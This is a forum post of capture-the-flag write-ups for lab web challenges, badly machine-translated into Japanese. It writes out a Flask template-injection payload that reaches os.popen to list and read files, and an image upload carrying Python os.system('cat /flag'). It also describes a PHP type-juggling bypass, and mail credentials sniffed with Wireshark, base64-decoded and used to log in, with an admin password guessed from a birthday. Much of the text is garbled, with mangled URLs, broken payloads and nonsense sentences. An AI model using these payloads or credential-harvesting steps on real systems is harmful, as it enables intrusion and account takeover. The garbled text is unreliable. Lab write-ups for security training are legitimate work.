By HireHackking in HACKER
· 1 view
質問名：simple_ssti_2質問wirteup:は疑問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスします。ページは、URL接続をFLAGパラメーターhttp://114.67.246.176:19131/
に関連付けます。 SSTIコンストラクト、パラメーターコンストラクトフラグ={{3+2}}、エラーが報告されており、Flaskhttp://114.67.246.176:19131/？flag={{3+2}} 
も{ {3*2を掲載している}を構築するために試行されました。システムにSSTIの脆弱性があることhttp://114.67.246.176:19131/？flag={{3*2}} 
構成変数を介してフラスコの構成情報を表示すると、利用可能な点はありません。 http://114.67.246.176336019131/？flag={{config}} 
pass {{config .__ class __.__ init __.__グローバル__ ['os']。表示するには1つずつ入力してください。私が見た最初のアプリフォルダーには、Flag ## __ Class__：変数が属するクラスを表示するために使用されることがわかりました。以前の変数フォームによると、それが属するクラスを取得できます。 ## __ init_ __クラスの初期化、返されたタイプは関数です## __グローバル__ []使用法は関数名です。__Globals__Globals__モジュール、メソッド、および関数が配置されている空間で使用できるすべての変数を取得します。 ## os.popen（）メソッドは、コマンドからパイプラインを開くために使用されます。
## open（）メソッドはファイルを開き、ファイルオブジェクトhttp://114.67.246.176:19131/？flag={{％20config .__ class __.__ init __.__グローバル__ [％27os％27] .popen（％27ls％20 ./です。
by {{config .__ class __.__ init __.__ Globals __ ['os']。popen（ 'ls ./app'）。read（）}}アプリディレクトリのファイルを読み取り、フラグファイルがあることを見つけますhttp://114.67.246.176336019131/？flag={{％20config .__ class __.__ init __.__グローバル__ [％27os％27] .popen（％27ls％20 ./app％27）。 config .__クラス__ .__ init __.__グローバル__ ['os']。popen（ 'cat ./app/flag'）。read（）}} flag contenthttp://114.67.246.176336019131/？flag={{％20config .__ class __.__ init __.__グローバル__ [％27os％27] .popen（％27cat％20 ./app/app％27） flag:flag {fcf301ac393f22215b3664d749c2d875e}タイトル名：flask_fileupload question witeup:3http://114.67.246.176:12896/JPGおよびPNGファイル名フォーマットをアップロードすることができ、ファイルコンテンツはPython View-Source:33http://114.67.246.176:12896/
System機能が操作を命令に変換することができます。原則は、各システム関数が実行されると、システム上のコマンドラインを実行するための子プロセスを作成し、子プロセスの実行結果がメインプロセスに影響を与えることができないということです。 OS.SystemメソッドはOSモジュールの最も基本的な方法であり、他の方法は一般にこの方法に基づいてカプセル化されています。ここで、PythonのOSパッケージのシステム関数を使用してフラグを読み取ります。ここで、test.jpgをアップロードします。これは、WebサイトルートディレクトリインポートOSを読み取ります
os.system（ 'ls /'）
正常にアップロードし、ソースコードを確認し、システムWebサイトのルートディレクトリが存在することを見つけ、ルートディレクトリにフラグファイルが含まれていることがわかります
フラグを表示
OSをインポートします
os.system（ 'cat /flag'）
正常にアップロードし、ソースコードを確認し、フラグコンテンツ
finally flag:flag {e541f3aadc95575ed6b6832b7ca34e327}質問名：計算機質問コンテンツ：emply cublish cublect writefification you shine other other cultions chanios get to emoling need exigate need emain fist necisit need fish firtingフラグを取得するためのコード、F12要素のレビューに合格し、ソースコードにcode.js3333333334.67.246.1763:16139/
View code.js、JS、FALGコンテンツ3http://114.67.246.176:1139/JS/js 
ついにflag:flag {e5d6e3fe29850f7fec9ea6ef55f86050}質問名：質問コンテンツ：flag {}質問wirteup3360は質問シーンを開始し、射撃範囲のウェブサイトを取得します。 http://114.67.246.176:13678/
は、単純なコード監査を実行し、HTTPに渡すことを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。what=flag、flaghttp://114.67.246.176:13678/？what=flag 
FLAG:FLAG {54790DBA4001F7DED2EBDE88CA82A3CAの質問：POSTS POSTES：POST POSTES：POST POSTES：シナリオ、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、PHPコードhttp://114.67.246.176:15053/
が簡単なコード監査を実行し、HTTP投稿が渡されることを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。http://114.67.246.176:15053/post: what=flag flag 
final flag:flag {4335DD4CC7627848578D8026FB121AE}
質問名：矛盾した質問の書き込み:は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、コードの簡単な分析を通じてPHPコード
であることがわかります。この関数は、変数が数字か文字列かを検出します。それが数字と文字列である場合、それはtrueを返し、それ以外の場合はfalseを返します。
このステートメントは、渡されるnumパラメーターが数値文字列ではなく、1に等しいことを意味します。
num==1の決定は2つの等しい兆候であり、弱いタイプの比較です。等記号の両側が異なる場合、比較前に同じタイプに変換されます。
弱いタイプの比較では、文字列が数字と比較されると、文字列は数字に変換され、文字の前に数値を保持します。たとえば、123AB7Cは123に変換され、AB7Cは0に変換されます（文字の前には数がありません、0です）。
http://114.67.246.176336016671/？num=1a
FINALLY FLAG:FLAG {D95C4676FD2740A47E0393CF3364E3E3 Windowhttp://114.67.246.176:15743/
ソースコードを介してアクセスし、Webページソースコードをチェックし、コメント
で＃から＃から＃から始まる＃から始まるユニコードエンコードがあることを発見しました。 http://tool.chinaz.com/tools/unicode.aspx 
pinally flag:flag {09EEC7218F68C04C87093052720C2C11}写真
ページのソースコードをチェックして、フラグが見つかりませんでしたが、ページ
がブプセットを介してパケットを登録し、最終的に応答ページのフラグコンテンツを繰り返し送信し、最終的にデータパケットを送信し、最終的にデータパケットを送信し続けるSciptスクリプトがあります。 flag:flag {ff9acfa3bbec16fe29b3ad5aef8f5421}質問名：ソーシャルワーカー - 質問コンテンツの予備収集：実際にはその他のアイテムです。その年の実際的な質問から、私は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、それがドリルブラッシングWebサイトhttp://114.67.246.176:13506/＃GOUMAI 
カタログスカンがYujianを介したターゲット射撃の範囲であることがわかりました。
Admin Directoryにアクセスし、実際にバックエンドがありました。 http://114.67.246.176336013506/admin/login.php 
射撃場のホームページの下部にある場合、補助をダウンロードできます。ここでダウンロードできます。
減圧後、仮想マシンで掘削プログラムを実行します。
QQとパスワードを入力し、[開始]をクリックし、Wrisharkを使用してパケットを分析した後、ポップアップウィンドウを見つけました。
パケットを慎重に観察すると、パケットメールとBase64暗号化されたパスがあることがわかります。
base64の復号化はパスワードのように見えますが、長すぎますが、コードを承認したいと考えています。
FOXMAILを開いてログインし、メールアドレスを入力してから、認証コードを入力してログインします。
受信トレイを表示し、「トピック」でソートし、利用可能な情報が記載されたメールを見つけます
送信者がマラであることがわかります
配達時間は2021年で、今は20歳で、2001年に生まれると判断されることができます
また、それは2日前の誕生日だったと言われているので、誕生日は2月6日だと判断することができます
ログインして入力してみてください：ユーザー名マラ、パスワードはMaryyの誕生日番号：20010206です
システムに正常にログインし、Webサイトの背景---プレーヤーキーのWebサイト設定を確認すると、フラグを取得できます
最後に、flag:flag {c4cba16a2fd5aedf2dddd90a6bd04f}質問名：game1質問wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup: wirtup:撮影ウェブサイトを入手し、ウェブサイトにアクセスして、最高のスコアを取得することができます。ここでどのゲームもプレイできます。 http://114.67.246.176336017941/？s=1629731758384 
そして、ゲームが終了する前に、それはブプスーツによって分析され、結果はソースの3つのパラメーターの値に関連していることがわかりました。 http://114.67.246.176336017941/scor.php？score=50ip=183.221.17.223Sign=Zmnta===
Recommended Comments